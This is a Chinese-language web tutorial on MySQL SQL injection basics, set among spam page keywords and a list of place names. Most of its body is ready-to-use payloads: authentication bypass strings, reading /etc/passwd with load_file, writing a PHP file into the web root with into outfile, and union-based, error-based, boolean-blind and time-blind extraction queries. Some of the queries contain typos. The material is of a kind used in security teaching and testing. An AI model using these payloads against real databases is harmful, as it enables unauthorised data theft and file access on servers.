中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

sql注入基礎知識的介紹

發布時間:2021-04-09 16:07:51 來源:億速云 閱讀:225 作者:啵贊 欄目:數據庫

本篇內容介紹了“sql注入基礎知識的介紹”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

什么是SQL注入(SQL Injection)

所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。

mysql常用注釋

    #

    --[空格]或者是--+

    /*…*/

在注意過程中,這些注釋可能都需要進行urlencode。

mysql認證繞過

      ;%00

     ‘ or 1=1 #

     ‘ /*!or */ 1=1 --+

mysql連接符

mysql中使用+來進行連接。

select * from users where username='zhangsan' and "ab"="a"+"b";

mysql中常見函數

在進行sql注入過程中,會使用到mysql中的內置函數。在內置函數中,又分為獲取信息的函數和功能函數。

信息函數是用來獲取mysql中的數據庫的信息,功能函數就是傳統的函數用來完成某項操作。

常用的信息函數有:

    database() ,用于獲取當前所使用的數據庫信息

    version():返回數據庫的版本,等價于@@version

     user():返回當前的用戶,等價如current_user參數。如:

select user(); #root@localhost
select current_user; #root@localhost

@@datadir,獲取數據庫的存儲位置。

select @@datadir; #D:\xampp\mysql\data\

常見的功能函數有:

load_file():從計算機中載入文件,讀取文件中的數據。

select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16進制繞過單引號限制

into outfile:寫入文件,前提是具有寫入權限

select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';

concat():返回結果為連接參數產生的字符串。如果其中一個參數為null,則返回值為null。

用法如下:

select concat(username,password)from users;

*concat_ws() :是concat_ws()的特殊形式,第一個參數是分隔符,剩下的參數就是字段名。

select concat_ws(',',username,password) from users;

group_concat() :用于合并多條記錄中的結果。

用法如下:

select group_concat(username) from users;
#返回的就是users表中所有的用戶名,并且是作為一條記錄返回。

subtring() ,substr():用于截斷字符串。用法為:substr(str,pos,length) ,注意pos是從1開始的。

select substr((select database()),1,1);

ascii():用法返回字符所對應的ascii值。

select ascii('a'); #97

length():返回字符串的長度。

如:

select length("123456") #返回6

is(exp1,exp2,exp2):如果exp1的表達式是True,則返回exp2;否則返回exp3。

如:

select 1,2,if(1=1,3,-1) #1,2,3
selecrt 1,2,if(1=2,3,-1) #1,2,-1

以上就是在進行sql注入工程中常用的函數。當然還存在一些使用的不是很多的函數。

    now():返回當前的系統時間

    hex():返回字符串的16進制

    unhex():反向的hex()的16進制

    @@basedir():反向mysql的安裝目錄

    @@versin_compile_os:操作系統

mysql數據庫元信息

在mysql中存在information_schema是一個信息數據庫,在這個數據庫中保存了Mysql服務器所保存的所有的其他數據庫的信息,如數據庫名,數據庫的表,表的字段名稱

和訪問權限。在informa_schema中常用的表有:

     schemata:存儲了mysql中所有的數據庫信息,返回的內容與show databases的結果是一樣的。

     tables:存儲了數據庫中的表的信息。詳細地描述了某個表屬于哪個schema,表類型,表引擎。

     show tables from secuiry的結果就是來自這個表

     columns:詳細地描述了某張表的所有的列以及每個列的信息。

     show columns from users的結果就是來自這個表

下面就是利用以上的3個表來獲取數據庫的信息。

select database(); #查選數據庫
select schema_name from information_schema.schemata limit 0,1 #查詢數據庫
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查詢表
select column_name from information_schema.columns where table_name='users' limit 0,1; #查詢列

sql注入類型

sql注入類型大致可以分為常規的sql注入和sql盲注。sql盲注又可以分為基于時間的盲注和基于網頁內容的盲注。
關于sql的盲注,網上也有很多的說明,這里也不做過多的解釋。關于盲注的概念,有具體的例子就方便進行說明。
延時注入中,常用的函數就包括了if()sleep()函數。

基本的sql表達式如下:

select * from users where id=1 and if(length(user())=14,sleep(3),1);
select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);

寬字節注入

關于寬字節注入,可以參考寬字節注入詳解。寬字節輸入一般是由于網頁編碼與數據庫的編碼不匹配造成的。對于寬字節注入,使用%d5或%df繞過

mysql常用語句總結

常規注入

1' order by num #  確定字段長度
1' union select 1,2,3 # 確定字段長度
-1' union select 1,2,3 # 判斷頁面中顯示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #顯示mysql中所有的數據庫
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1  在注釋符無法使用的情況下

雙重SQL查選

select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #這種sql語句的寫法,常用于sql的盲注。得到數據庫的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到數據庫的表的信息

 
#利用姿勢如下:
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

這種利用姿勢是通過mysql執行sql命令時的報錯信息來得到所需要的信息的,在接下來的文章中會對這種寫法進行詳細地分析。

bool盲注

1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

bool盲注就是根據sql語句執行返回值是True或False對應的頁面內容會發生,來得到信息。

time盲注

1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+

上述的2種寫法都是等價的,time盲注余常規的sql注入方法不同。time盲注需要一般需要使用到if()sleep()函數。然后根據頁面返回內容的長度,進而知道sleep()函數是否有執行。

根據sleep()函數是否執行來得到所需的信息。

“sql注入基礎知識的介紹”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

sql
AI

奉贤区| 隆尧县| 鹤庆县| 迁西县| 高淳县| 屏东市| 安岳县| 卫辉市| 济阳县| 民乐县| 芦山县| 嫩江县| 海南省| 侯马市| 宝山区| 株洲县| 景德镇市| 揭东县| 巴塘县| 凉城县| 东乌珠穆沁旗| 镇康县| 酉阳| 泸溪县| 柘城县| 武夷山市| 盱眙县| 平泉县| 巴中市| 茌平县| 盘山县| 延安市| 洛宁县| 固原市| 溆浦县| 芦溪县| 毕节市| 伊春市| 祁阳县| 称多县| 鸡西市|